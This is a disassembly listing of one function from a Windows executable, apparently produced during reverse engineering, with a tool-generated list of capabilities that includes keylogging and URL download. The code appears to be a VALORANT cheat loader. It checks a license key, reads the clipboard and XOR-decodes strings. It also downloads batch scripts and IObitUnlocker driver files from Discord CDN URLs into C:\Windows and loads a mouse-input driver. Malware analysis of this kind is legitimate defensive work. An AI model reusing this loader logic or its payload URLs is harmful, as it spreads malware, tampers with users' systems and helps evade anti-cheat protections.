Function at 0x140005330
Capabilities:
Create process on windows
Download url
Encode data using xor
Execute command
Log keystrokes via polling
Open clipboard
Read clipboard data
Receive data
Set console window title
Terminate process

Disassembly:
push rbp
push rdi
push r12
lea rbp, [rsp - 0x560]
sub rsp, 0x660
movaps xmmword [rsp + 0x640], xmm6
mov rax, qword [0x14008f080]
xor rax, rsp
mov qword [rbp + 0x4a8], rax
xor r12d, r12d
xor eax, eax
mov dword [rbp + 0x2fc], r12d
xorps xmm0, xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
mov r8d, r12d
mov byte [0x140090110], al
mov dword [0x140090114], eax
mov qword [0x140090128], rax
mov dword [0x140090130], eax
mov byte [0x140090134], al
mov eax, dword [0x140082ad0]
movups xmmword [0x1400900d0], xmm0
mov dword [rbp + 0x368], eax
movzx eax, byte [0x140082ad4]
movups xmmword [0x1400900e0], xmm0
mov byte [rbp + 0x36c], al
movups xmmword [0x1400900f0], xmm0
mov qword [0x1400900a8], r12
movups xmmword [0x140090100], xmm0
mov dword [0x1400900b0], r12d
movups xmmword [0x140090118], xmm0
mov word [0x1400900b4], r12w
movups xmm0, xmmword [str.uUZXXL]
mov byte [0x1400900b6], r12b
mov qword [0x1400900b8], r12
movups xmmword [rbp + 0x358], xmm0
mov word [0x1400900c0], r12w
mov byte [0x1400900c2], r12b
jl 0x140005557
movdqa xmm0, xmmword [str.9999999999999999]
lea rcx, [rbp + 0x35c]
movdqa xmm5, xmmword [0x140082c40]
movdqa xmm4, xmmword [0x140082c90]
movdqa xmm6, xmmword [0x140082c60]
movdqa xmmword [rbp + 0x10], xmm0
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140082c70]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140082c70]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140005450
cmp r8d, 0x15
jge 0x1400055a1
movsxd rax, r8d
lea r9, [rbp + 0x358]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140005570
lea rax, [rbp + 0x358]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], r12b
jne 0x1400055b0
mov rdx, qword [0x140090078]
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
sub rax, rdx
cmp rax, rcx
jb 0x1400096ad
cmp qword [0x140090080], 0xf
lea rax, [0x140090068]
mov qword [rsp + 0x30], rdx
lea r9, [rbp + 0x358]
cmova rax, qword [0x140090068]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x650], r15
call fcn.14000c390
mov r15d, 1
lea rdx, [0x140080834]
mov r8d, r15d
lea rcx, [rsp + 0x68]
call fcn.14000b040
xorps xmm0, xmm0
lea rdx, [0x140090088]
movups xmmword [rsp + 0x48], xmm0
lea rcx, [rsp + 0x48]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r12b
cmp qword [0x1400900a0], 0xf
mov r8, qword [0x140090098]
cmova rdx, qword [0x140090088]
call fcn.14000b040
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x448], xmm0
movdqu xmmword [rbp + 0x458], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x448], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x458], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r12b
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400056fd
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400056f8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005743
call fcn.14006ed60
mov rdx, qword [rbp - 0x80]
movdqa xmm0, xmmword [0x140082c30]
mov byte [rsp + 0x48], r12b
movdqu xmmword [rsp + 0x58], xmm0
cmp rdx, 0xf
jbe 0x14000574f
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000574a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000574a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ed60
cmp qword [rbp + 0x460], 0xf
lea rcx, [rbp + 0x448]
cmova rcx, qword [rbp + 0x448]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, [0x140090140]
call fcn.140018dc0
cmp byte [0x140090350], r12b
jne 0x140005796
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x680], rbx
lea rcx, [0x140090140]
mov qword [rsp + 0x688], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov esi, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x658], r14
mov qword [rbp + 0x328], rsi
mov r14, r12
mov qword [rbp + 0x320], r12
mov byte [rbp + 0x310], r12b
call fcn.140018dc0
xorps xmm0, xmm0
lea r8d, [rsi - 6]
xorps xmm1, xmm1
lea rdx, str.C:GG.lic
lea rcx, [rsp + 0x48]
movups xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm1
call fcn.14000bb00
cmp qword [rsp + 0x60], rsi
lea rcx, [rsp + 0x48]
lea rdx, [0x1400807c4]
cmova rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x140005838
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
movzx ebx, r15b
jmp 0x14000583a
xor bl, bl
mov rdx, qword [rsp + 0x60]
cmp rdx, rsi
jbe 0x140005879
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005874
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005874
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ed60
mov qword [rsp + 0x690], r13
movaps xmmword [rsp + 0x630], xmm7
movaps xmmword [rsp + 0x620], xmm8
movaps xmmword [rsp + 0x610], xmm9
movaps xmmword [rsp + 0x600], xmm10
movaps xmmword [rsp + 0x5f0], xmm11
movaps xmmword [rsp + 0x5e0], xmm12
movaps xmmword [rsp + 0x5d0], xmm13
movaps xmmword [rsp + 0x5c0], xmm14
movaps xmmword [rsp + 0x5b0], xmm15
test bl, bl
je 0x140005c9b
xorps xmm0, xmm0
lea rdx, str.C:GG.lic
xorps xmm1, xmm1
lea rcx, [rsp + 0x68]
mov r8d, 9
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
call fcn.14000bb00
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x48]
call fcn.140004ee0
lea rcx, [rbp + 0x310]
cmp rcx, rax
je 0x14000594f
movups xmm1, xmmword [rax + 0x10]
movups xmm0, xmmword [rax]
mov qword [rax + 0x18], rsi
mov qword [rax + 0x10], r12
movq r14, xmm1
movups xmmword [rbp + 0x310], xmm0
mov byte [rax], r12b
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rsi, xmm0
movups xmmword [rbp + 0x320], xmm1
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000598f
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000598a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000598a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ed60
mov rbx, qword [rbp + 0x310]
lea rax, [rbp + 0x310]
cmp rsi, 0xf
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
cmova rax, rbx
mov qword [rbp - 0x70], rax
cmp r14, rdi
ja 0x1400096b3
movabs r13, 0x8000000000000000
mov r12d, reloc.WLDAP32.dll_Ordinal_22
cmp r14, 0xf
ja 0x1400059eb
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
jmp 0x140005a79
mov r15, r14
or r15, 0xf
cmp r15, rdi
jbe 0x140005a1c
mov r15, rdi
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.14006ed94
mov rcx, rax
test rax, rax
je 0x140005a3f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005a54
cmp r15, r12
cmovb r15, r12
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x140005a46
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009695
jmp 0x1400059fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005a52
call fcn.14006ed94
jmp 0x140005a54
xor eax, eax
mov rdx, qword [rbp - 0x70]
lea r8, [r14 + 1]
mov rcx, rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r15
call sub.VCRUNTIME140.dll_memcpy
mov r15d, 1
lea rdx, [rsp + 0x48]
lea rcx, [0x140090140]
call fcn.14001a710
cmp byte [0x140090350], 0
jne 0x140005e89
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140009686
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetClipboardData]
mov r14, rax
test rax, rax
je 0x140009686
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x140009686
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x48], xmm0
mov r8, 0xffffffffffffffff
movdqu xmmword [rsp + 0x58], xmm1
inc r8
cmp byte [rax + r8], 0
jne 0x140005ae6
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.14000bb00
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
cmp rsi, 0xf
jbe 0x140005b43
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140005b3b
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009670
mov rcx, rbx
call fcn.14006ed60
movups xmm2, xmmword [rsp + 0x58]
lea r14, [rbp + 0x310]
movups xmm1, xmmword [rsp + 0x48]
xorps xmm0, xmm0
movq rsi, xmm2
movups xmmword [rsp + 0x48], xmm0
movdqa xmm0, xmm2
movq rcx, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
movups xmmword [rbp + 0x310], xmm1
cmova r14, rcx
movups xmmword [rbp + 0x320], xmm2
cmp rsi, rdi
ja 0x1400096b9
cmp rsi, 0xf
ja 0x140005bb5
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x48], xmm0
jmp 0x140005c3c
mov rbx, rsi
or rbx, 0xf
cmp rbx, rdi
jbe 0x140005be6
mov rbx, rdi
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.14006ed94
mov rcx, rax
test rax, rax
je 0x140005c09
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005c1e
cmp rbx, r12
cmovb rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140005c10
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000969b
jmp 0x140005bc8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005c1c
call fcn.14006ed94
jmp 0x140005c1e
xor eax, eax
lea r8, [rsi + 1]
mov qword [rsp + 0x48], rax
mov rdx, r14
mov qword [rsp + 0x58], rsi
mov rcx, rax
mov qword [rsp + 0x60], rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x48]
lea rcx, [0x140090140]
call fcn.14001a710
lea rdx, [rbp + 0x310]
lea rcx, [rsp + 0x48]
call fcn.14000a970
xorps xmm0, xmm0
lea rdx, str.C:GG.lic
xorps xmm1, xmm1
lea rcx, [rsp + 0x68]
mov r8d, 9
mov rbx, rax
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
call fcn.14000bb00
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.140005130
jmp 0x140005e74
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140009686
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
test rax, rax
je 0x140009686
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x140009686
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x48], xmm0
mov r8, 0xffffffffffffffff
movdqu xmmword [rsp + 0x58], xmm1
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140005cf0
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.14000bb00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
movups xmm2, xmmword [rsp + 0x58]
lea r14, [rbp + 0x310]
movups xmm1, xmmword [rsp + 0x48]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movdqa xmm0, xmm2
movq rcx, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, rsi
movq rsi, xmm2
movups xmmword [rbp + 0x310], xmm1
cmova r14, rcx
movups xmmword [rbp + 0x320], xmm2
cmp rsi, rdi
ja 0x1400096bf
movabs r13, 0x8000000000000000
mov r12d, reloc.WLDAP32.dll_Ordinal_22
cmp rsi, 0xf
ja 0x140005d96
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x48], xmm0
jmp 0x140005e1d
mov rbx, rsi
or rbx, 0xf
cmp rbx, rdi
jbe 0x140005dc7
mov rbx, rdi
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.14006ed94
mov rcx, rax
test rax, rax
je 0x140005dea
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005dff
cmp rbx, r12
cmovb rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140005df1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400096a1
jmp 0x140005da9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005dfd
call fcn.14006ed94
jmp 0x140005dff
xor eax, eax
lea r8, [rsi + 1]
mov qword [rsp + 0x48], rax
mov rdx, r14
mov qword [rsp + 0x58], rsi
mov rcx, rax
mov qword [rsp + 0x60], rbx
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
lea rdx, str.C:GG.lic
xorps xmm1, xmm1
lea rcx, [rsp + 0x68]
mov r8d, 9
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
call fcn.14000bb00
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.140005130
lea rdx, [rbp + 0x310]
lea rcx, [rsp + 0x68]
call fcn.14000a970
mov rdx, rax
lea rcx, [0x140090140]
call fcn.14001a710
mov rbx, qword [rbp + 0x310]
mov r14, qword [rbp + 0x320]
mov rsi, qword [rbp + 0x328]
cmp rsi, 0xf
lea r15, [rbp + 0x310]
xorps xmm0, xmm0
cmova r15, rbx
movups xmmword [rsp + 0x48], xmm0
cmp r14, rdi
ja 0x14000968f
cmp r14, 0xf
ja 0x140005ecb
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x48], xmm0
jmp 0x140005f53
mov rax, r14
or rax, 0xf
cmp rax, rdi
jbe 0x140005ef9
add r13, 0x27
mov rcx, r13
call fcn.14006ed94
mov rcx, rax
test rax, rax
je 0x140005f20
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005f35
cmp rax, 0x16
mov rdi, rax
cmovb rdi, r12
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140005f27
lea r13, [rcx + 0x27]
cmp r13, rcx
jbe 0x1400096a7
jmp 0x140005edb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005f33
call fcn.14006ed94
jmp 0x140005f35
xor eax, eax
lea r8, [r14 + 1]
mov qword [rsp + 0x48], rax
mov rdx, r15
mov qword [rsp + 0x58], r14
mov rcx, rax
mov qword [rsp + 0x60], rdi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x48]
lea rcx, [0x140090140]
call fcn.14001a710
cmp byte [0x140090350], 0
jne 0x140005ff6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x10]
call fcn.1400096d0
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x140005fb6
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor byte [rax + 8], 0x41
xor byte [rax + 9], 0x42
xor dl, 0x43
mov byte [rax + 0xa], dl
mov rdx, rax
call fcn.1400022e0
mov rcx, rax
lea rdx, [0x140090358]
call fcn.1400022b0
xor r9d, r9d
lea rdx, str.Invalid_Key
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.MouseInput.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
jne 0x140006127
cmp rsi, 0xf
jbe 0x140006046
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000603e
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009670
mov rcx, rbx
call fcn.14006ed60
mov rdx, qword [rbp + 0x460]
cmp rdx, 0xf
jbe 0x140006087
mov rcx, qword [rbp + 0x448]
inc rdx
mov r8, rcx
cmp rdx, 0x1000
jb 0x140006082
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x140009670
call fcn.14006ed60
mov eax, 0xffffffff
movaps xmm14, xmmword [rsp + 0x5c0]
movaps xmm13, xmmword [rsp + 0x5d0]
movaps xmm12, xmmword [rsp + 0x5e0]
movaps xmm11, xmmword [rsp + 0x5f0]
movaps xmm10, xmmword [rsp + 0x600]
movaps xmm9, xmmword [rsp + 0x610]
movaps xmm8, xmmword [rsp + 0x620]
movaps xmm7, xmmword [rsp + 0x630]
mov r13, qword [rsp + 0x690]
movaps xmm15, xmmword [rsp + 0x5b0]
mov r14, qword [rsp + 0x658]
mov rsi, qword [rsp + 0x688]
mov rbx, qword [rsp + 0x680]
mov r15, qword [rsp + 0x650]
mov rcx, qword [rbp + 0x4a8]
xor rcx, rsp
call fcn.14006ed40
movaps xmm6, xmmword [rsp + 0x640]
add rsp, 0x660
pop r12
pop rdi
pop rbp
ret
lea rdx, str.DD_btn
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.DD_movR
mov rcx, rdi
mov qword [0x140090038], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [0x140090038]
mov qword [0x140090030], rax
test rdx, rdx
je 0x140009605
test rax, rax
je 0x140009605
xor ecx, ecx
call rdx
mov edi, eax
cmp eax, 1
je 0x1400061f8
cmp rsi, 0xf
jbe 0x1400061b0
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400061a8
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009670
mov rcx, rbx
call fcn.14006ed60
mov rdx, qword [rbp + 0x460]
cmp rdx, 0xf
jbe 0x1400061f1
mov rcx, qword [rbp + 0x448]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400061ec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009670
call fcn.14006ed60
mov eax, edi
jmp 0x14000608c
xor edi, edi
lea r8, [0x140080a10]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea rdx, str.https:__cdn.discordapp.com_attachments_1162757321173237790_1196117161308082236_Remove_Driver.bat_ex65b675eais65a400eahm9c670db06baa29116f7c8c2016c4be61fb23445977e2acf15be428558bf5c287
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, [0x140080bb8]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1162757321173237790_1196124034245611590_Remove_usb.bat_ex65b67c50is65a40750hm440417ccb69de56fa94f2e69a5b69e93add34d7cec60e254be590e1c26cae998
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsIObitUnlocker.dll
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1162757321173237790_1196120976765763686_IObitUnlocker.dll_ex65b67977is65a40477hmfceea2dbfe01b16b1e1a850feb03c1eecd8ded480b4b7cfb2de15cde8cc1601a
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsIObitUnlocker.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1162757321173237790_1196121025218355330_IObitUnlocker.exe_ex65b67983is65a40483hmcf65727dad8c99eb5af88c0c2aceba8f9906b1b06b14cba9af0ba9861f9b53a8
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsIObitUnlocker.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1162757321173237790_1196121023226073118_IObitUnlocker.sys_ex65b67982is65a40482hmb7f61a79ec40a2dd9ac8412355ea2ada6bac9be3afefe88de99391163e727c17
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsIObitUnlockerExtension.dll
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1162757321173237790_1196121036979179610_IObitUnlockerExtension.dll_ex65b67986is65a40486hmca99c3c8d8c21bbaa9ab13bb7699be5ec1da690987694c4255efe8fd61e6e1e6
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor al, al
mov byte [rsp + 0x41], dil
xor r15b, r15b
mov byte [rsp + 0x40], al
lea rdx, str.VALORANT
mov dword [rbp + 0x2f8], r15d
xor ecx, ecx
mov byte [rsp + 0x42], dil
mov byte [rbp - 0x78], dil
call qword [sym.imp.USER32.dll_FindWindowW]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
movsd xmm1, qword [0x140082bb8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x428], xmm0
mov qword [rbp + 0x308], rax
movsd xmm0, qword [0x140082bc0]
movsd qword [rbp + 0x378], xmm0
movsd qword [rbp + 0x380], xmm1
mov qword [rbp + 0x438], rdi
mov qword [rbp + 0x440], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x428], dil
call qword [sym.imp.KERNEL32.dll_AllocConsole]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_AttachConsole]
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x140081318]
lea rcx, [0x14008131c]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
xor ecx, ecx
mov qword [rbp - 0x68], rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x1400807c4]
lea rcx, [0x14008131c]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
xorps xmm0, xmm0
mov qword [rbp + 0x478], rdi
movups xmmword [rbp + 0x468], xmm0
mov qword [rbp - 0x70], rax
mov r13d, edi
xor eax, eax
mov byte [rbp + 0x468], dil
xorps xmm1, xmm1
mov qword [rbp + 0x350], rax
mov r14d, reloc.WS2_32.dll_ntohs
lea r8d, [rdi + 0xa]
lea rdx, str.config.ini
mov qword [rbp + 0x480], r14
lea rcx, [rsp + 0x68]
movdqu xmmword [rsp + 0x78], xmm1
movups xmmword [rbp + 0x330], xmm0
movups xmmword [rbp + 0x340], xmm0
movups xmmword [rsp + 0x68], xmm0
call fcn.14000bb00
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.140003160
xorps xmm0, xmm0
lea r8d, [rdi + 0xa]
xorps xmm1, xmm1
lea rdx, str.config.ini
lea rcx, [rsp + 0x48]
movups xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm1
call fcn.14000bb00
cmp qword [rsp + 0x60], r14
lea rcx, [rsp + 0x48]
cmova rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access_s]
mov rdx, qword [rsp + 0x60]
mov edi, eax
cmp rdx, r14
jbe 0x14000647b
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006476
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006476
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ed60
test edi, edi
jne 0x140007a54
xorps xmm0, xmm0
lea r8d, [rdi + 9]
xorps xmm1, xmm1
lea rdx, str.C:GG.lic
lea rcx, [rsp + 0x48]
movups xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm1
call fcn.14000bb00
cmp qword [rsp + 0x60], r14
lea rcx, [rsp + 0x48]
lea rdx, [0x1400807c4]
cmova rcx, qword [rsp + 0x48]
